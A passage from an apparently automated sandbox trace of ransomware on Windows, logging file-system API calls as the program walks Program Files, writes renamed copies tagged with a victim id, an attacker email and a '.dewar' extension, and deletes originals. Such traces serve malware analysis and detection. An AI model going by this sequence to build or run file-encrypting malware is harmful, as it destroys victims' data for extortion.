dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0245.102] GetFileSizeEx (in: hFile=0x1c8, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=9975) returned 1 [0245.102] CloseHandle (hObject=0x1c8) returned 1 [0245.103] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\oledbvbs.inc" (normalized: "c:\\program files\\common files\\system\\ole db\\oledbvbs.inc")) returned 0x20 [0245.103] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\oledbvbs.inc" (normalized: "c:\\program files\\common files\\system\\ole db\\oledbvbs.inc")) returned 0x20 [0245.103] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\oledbvbs.inc.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\system\\ole db\\oledbvbs.inc.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0245.103] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\oledbvbs.inc" (normalized: "c:\\program files\\common files\\system\\ole db\\oledbvbs.inc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0245.104] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\sqloledb.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\sqloledb.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0245.104] GetFileSizeEx (in: hFile=0x1c8, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=1212416) returned 1 [0245.104] CloseHandle (hObject=0x1c8) returned 1 [0245.104] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\sqloledb.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\sqloledb.dll")) returned 0x20 [0245.104] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\sqloledb.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\sqloledb.dll")) returned 0x20 [0245.104] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\sqloledb.dll.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\system\\ole db\\sqloledb.dll.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0245.105] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\sqloledb.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\sqloledb.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0245.105] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\sqloledb.rll" (normalized: "c:\\program files\\common files\\system\\ole db\\sqloledb.rll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0245.106] GetFileSizeEx (in: hFile=0x1c8, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=16384) returned 1 [0245.106] CloseHandle (hObject=0x1c8) returned 1 [0245.106] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\sqloledb.rll" (normalized: "c:\\program files\\common files\\system\\ole db\\sqloledb.rll")) returned 0x20 [0245.106] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\sqloledb.rll" (normalized: "c:\\program files\\common files\\system\\ole db\\sqloledb.rll")) returned 0x20 [0245.106] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\sqloledb.rll.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\system\\ole db\\sqloledb.rll.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0245.106] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\sqloledb.rll" (normalized: "c:\\program files\\common files\\system\\ole db\\sqloledb.rll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0245.107] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\sqlxmlx.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\sqlxmlx.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0245.107] GetFileSizeEx (in: hFile=0x1c8, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=364544) returned 1 [0245.107] CloseHandle (hObject=0x1c8) returned 1 [0245.136] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\sqlxmlx.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\sqlxmlx.dll")) returned 0x20 [0245.137] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\sqlxmlx.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\sqlxmlx.dll")) returned 0x20 [0245.137] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\sqlxmlx.dll.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\system\\ole db\\sqlxmlx.dll.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0245.138] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\sqlxmlx.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\sqlxmlx.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0245.138] SetEvent (hEvent=0x118) returned 1 [0245.139] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\sqlxmlx.rll" (normalized: "c:\\program files\\common files\\system\\ole db\\sqlxmlx.rll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe0 [0245.140] GetFileSizeEx (in: hFile=0xe0, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=8192) returned 1 [0245.140] CloseHandle (hObject=0xe0) returned 1 [0245.140] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\sqlxmlx.rll" (normalized: "c:\\program files\\common files\\system\\ole db\\sqlxmlx.rll")) returned 0x20 [0245.140] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\sqlxmlx.rll" (normalized: "c:\\program files\\common files\\system\\ole db\\sqlxmlx.rll")) returned 0x20 [0245.140] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\sqlxmlx.rll.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\system\\ole db\\sqlxmlx.rll.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0245.141] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\sqlxmlx.rll" (normalized: "c:\\program files\\common files\\system\\ole db\\sqlxmlx.rll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0245.141] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\xmlrw.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\xmlrw.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe0 [0245.144] GetFileSizeEx (in: hFile=0xe0, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=282136) returned 1 [0245.145] CloseHandle (hObject=0xe0) returned 1 [0245.145] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\xmlrw.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\xmlrw.dll")) returned 0x20 [0245.145] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\xmlrw.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\xmlrw.dll")) returned 0x20 [0245.145] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\xmlrw.dll.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\system\\ole db\\xmlrw.dll.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0245.145] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\xmlrw.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\xmlrw.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0245.146] SetEvent (hEvent=0x118) returned 1 [0245.146] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\xmlrwbin.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\xmlrwbin.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe0 [0245.148] GetFileSizeEx (in: hFile=0xe0, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=199192) returned 1 [0245.148] CloseHandle (hObject=0xe0) returned 1 [0245.149] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\xmlrwbin.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\xmlrwbin.dll")) returned 0x20 [0245.149] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\xmlrwbin.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\xmlrwbin.dll")) returned 0x20 [0245.149] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\xmlrwbin.dll.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\system\\ole db\\xmlrwbin.dll.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0245.149] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\xmlrwbin.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\xmlrwbin.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0245.150] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\wab32.dll" (normalized: "c:\\program files\\common files\\system\\wab32.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe0 [0245.151] GetFileSizeEx (in: hFile=0xe0, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=886784) returned 1 [0245.151] CloseHandle (hObject=0xe0) returned 1 [0245.151] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\wab32.dll" (normalized: "c:\\program files\\common files\\system\\wab32.dll")) returned 0x20 [0245.151] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\wab32.dll" (normalized: "c:\\program files\\common files\\system\\wab32.dll")) returned 0x20 [0245.151] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\wab32.dll.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\system\\wab32.dll.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0245.151] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\wab32.dll" (normalized: "c:\\program files\\common files\\system\\wab32.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0245.152] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\wab32res.dll" (normalized: "c:\\program files\\common files\\system\\wab32res.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe0 [0245.153] GetFileSizeEx (in: hFile=0xe0, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=1098752) returned 1 [0245.153] CloseHandle (hObject=0xe0) returned 1 [0245.153] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\wab32res.dll" (normalized: "c:\\program files\\common files\\system\\wab32res.dll")) returned 0x20 [0245.153] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\wab32res.dll" (normalized: "c:\\program files\\common files\\system\\wab32res.dll")) returned 0x20 [0245.153] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\wab32res.dll.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\system\\wab32res.dll.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0245.153] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\wab32res.dll" (normalized: "c:\\program files\\common files\\system\\wab32res.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0245.154] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\desktop.ini" (normalized: "c:\\program files\\desktop.ini"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe0 [0245.155] GetFileSizeEx (in: hFile=0xe0, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=174) returned 1 [0245.155] CloseHandle (hObject=0xe0) returned 1 [0245.155] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\desktop.ini" (normalized: "c:\\program files\\desktop.ini")) returned 0x26 [0245.155] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\desktop.ini" (normalized: "c:\\program files\\desktop.ini")) returned 0x26 [0245.155] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\desktop.ini.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\desktop.ini.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0245.156] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\desktop.ini" (normalized: "c:\\program files\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe0 [0245.156] SetFilePointerEx (in: hFile=0xe0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fa70 | out: lpNewFilePointer=0x0) returned 1 [0245.156] SetFilePointerEx (in: hFile=0xe0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fa70 | out: lpNewFilePointer=0x0) returned 1 [0245.157] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\desktop.ini.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\desktop.ini.id[9c354b42-2713].[chagenak@airmail.cc].dewar"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x26, hTemplateFile=0x0) returned 0x1e0 [0245.166] ReadFile (in: hFile=0xe0, lpBuffer=0x32c0020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x319fa7c, lpOverlapped=0x0 | out: lpBuffer=0x32c0020*, lpNumberOfBytesRead=0x319fa7c*=0xae, lpOverlapped=0x0) returned 1 [0245.325] WriteFile (in: hFile=0x1e0, lpBuffer=0x32c0020*, nNumberOfBytesToWrite=0xb0, lpNumberOfBytesWritten=0x319fa60, lpOverlapped=0x0 | out: lpBuffer=0x32c0020*, lpNumberOfBytesWritten=0x319fa60*=0xb0, lpOverlapped=0x0) returned 1 [0245.329] WriteFile (in: hFile=0x1e0, lpBuffer=0x32c0020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x319fa60, lpOverlapped=0x0 | out: lpBuffer=0x32c0020*, lpNumberOfBytesWritten=0x319fa60*=0xf2, lpOverlapped=0x0) returned 1 [0245.329] CloseHandle (hObject=0xe0) returned 1 [0245.329] CloseHandle (hObject=0x1e0) returned 1 [0245.333] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\desktop.ini" (normalized: "c:\\program files\\desktop.ini")) returned 0 [0245.333] SetEvent (hEvent=0x118) returned 1 [0245.525] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\audiodepthconverter.ax" (normalized: "c:\\program files\\dvd maker\\audiodepthconverter.ax"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe0 [0245.640] GetFileSizeEx (in: hFile=0xe0, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=50688) returned 1 [0245.640] CloseHandle (hObject=0xe0) returned 1 [0245.641] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\audiodepthconverter.ax" (normalized: "c:\\program files\\dvd maker\\audiodepthconverter.ax")) returned 0x20 [0245.641] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\audiodepthconverter.ax" (normalized: "c:\\program files\\dvd maker\\audiodepthconverter.ax")) returned 0x20 [0245.641] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\audiodepthconverter.ax.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\audiodepthconverter.ax.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0245.641] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\audiodepthconverter.ax" (normalized: "c:\\program files\\dvd maker\\audiodepthconverter.ax"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0245.642] SetEvent (hEvent=0x118) returned 1 [0245.642] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\OmdProject.dll" (normalized: "c:\\program files\\dvd maker\\omdproject.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe0 [0245.643] GetFileSizeEx (in: hFile=0xe0, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=4400640) returned 1 [0245.643] CloseHandle (hObject=0xe0) returned 1 [0245.643] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\OmdProject.dll" (normalized: "c:\\program files\\dvd maker\\omdproject.dll")) returned 0x20 [0245.643] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\OmdProject.dll" (normalized: "c:\\program files\\dvd maker\\omdproject.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\OmdProject.dll.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\omdproject.dll.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0 [0245.643] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\OmdProject.dll.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\omdproject.dll.id[9c354b42-2713].[chagenak@airmail.cc].dewar"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\OmdProject.dll" (normalized: "c:\\program files\\dvd maker\\omdproject.dll")) returned 0 [0245.644] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Pipeline.dll" (normalized: "c:\\program files\\dvd maker\\pipeline.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe0 [0245.645] GetFileSizeEx (in: hFile=0xe0, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=1852928) returned 1 [0245.645] CloseHandle (hObject=0xe0) returned 1 [0245.645] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Pipeline.dll" (normalized: "c:\\program files\\dvd maker\\pipeline.dll")) returned 0x20 [0245.645] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Pipeline.dll" (normalized: "c:\\program files\\dvd maker\\pipeline.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Pipeline.dll.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\pipeline.dll.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0 [0245.646] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Pipeline.dll.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\pipeline.dll.id[9c354b42-2713].[chagenak@airmail.cc].dewar"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Pipeline.dll" (normalized: "c:\\program files\\dvd maker\\pipeline.dll")) returned 0 [0245.647] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\PipeTran.dll" (normalized: "c:\\program files\\dvd maker\\pipetran.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe0 [0245.648] GetFileSizeEx (in: hFile=0xe0, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=1884160) returned 1 [0245.648] CloseHandle (hObject=0xe0) returned 1 [0245.648] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\PipeTran.dll" (normalized: "c:\\program files\\dvd maker\\pipetran.dll")) returned 0x20 [0245.648] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\PipeTran.dll" (normalized: "c:\\program files\\dvd maker\\pipetran.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\PipeTran.dll.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\pipetran.dll.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0 [0245.648] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\PipeTran.dll.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\pipetran.dll.id[9c354b42-2713].[chagenak@airmail.cc].dewar"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\PipeTran.dll" (normalized: "c:\\program files\\dvd maker\\pipetran.dll")) returned 0 [0245.649] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\referrals-pamela-algebra.exe" (normalized: "c:\\program files\\dvd maker\\referrals-pamela-algebra.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0245.657] GetFileSizeEx (in: hFile=0x1c8, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=78336) returned 1 [0245.657] CloseHandle (hObject=0x1c8) returned 1 [0245.657] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\referrals-pamela-algebra.exe" (normalized: "c:\\program files\\dvd maker\\referrals-pamela-algebra.exe")) returned 0x20 [0245.658] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\referrals-pamela-algebra.exe" (normalized: "c:\\program files\\dvd maker\\referrals-pamela-algebra.exe")) returned 0x20 [0245.658] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\referrals-pamela-algebra.exe.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\referrals-pamela-algebra.exe.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0245.658] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\referrals-pamela-algebra.exe" (normalized: "c:\\program files\\dvd maker\\referrals-pamela-algebra.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0245.658] SetEvent (hEvent=0x118) returned 1 [0245.659] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\rtstreamsink.ax" (normalized: "c:\\program files\\dvd maker\\rtstreamsink.ax"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0245.659] GetFileSizeEx (in: hFile=0x1c8, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=78848) returned 1 [0245.659] CloseHandle (hObject=0x1c8) returned 1 [0245.659] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\rtstreamsink.ax" (normalized: "c:\\program files\\dvd maker\\rtstreamsink.ax")) returned 0x20 [0245.660] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\rtstreamsink.ax" (normalized: "c:\\program files\\dvd maker\\rtstreamsink.ax")) returned 0x20 [0245.660] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\rtstreamsink.ax.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\rtstreamsink.ax.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0245.660] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\rtstreamsink.ax" (normalized: "c:\\program files\\dvd maker\\rtstreamsink.ax"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0245.661] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\rtstreamsource.ax" (normalized: "c:\\program files\\dvd maker\\rtstreamsource.ax"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0245.670] GetFileSizeEx (in: hFile=0x1b4, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=52736) returned 1 [0245.670] CloseHandle (hObject=0x1b4) returned 1 [0245.670] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\rtstreamsource.ax" (normalized: "c:\\program files\\dvd maker\\rtstreamsource.ax")) returned 0x20 [0245.670] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\rtstreamsource.ax" (normalized: "c:\\program files\\dvd maker\\rtstreamsource.ax")) returned 0x20 [0245.670] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\rtstreamsource.ax.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\rtstreamsource.ax.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0245.670] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\rtstreamsource.ax" (normalized: "c:\\program files\\dvd maker\\rtstreamsource.ax"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0245.671] CreateFileW 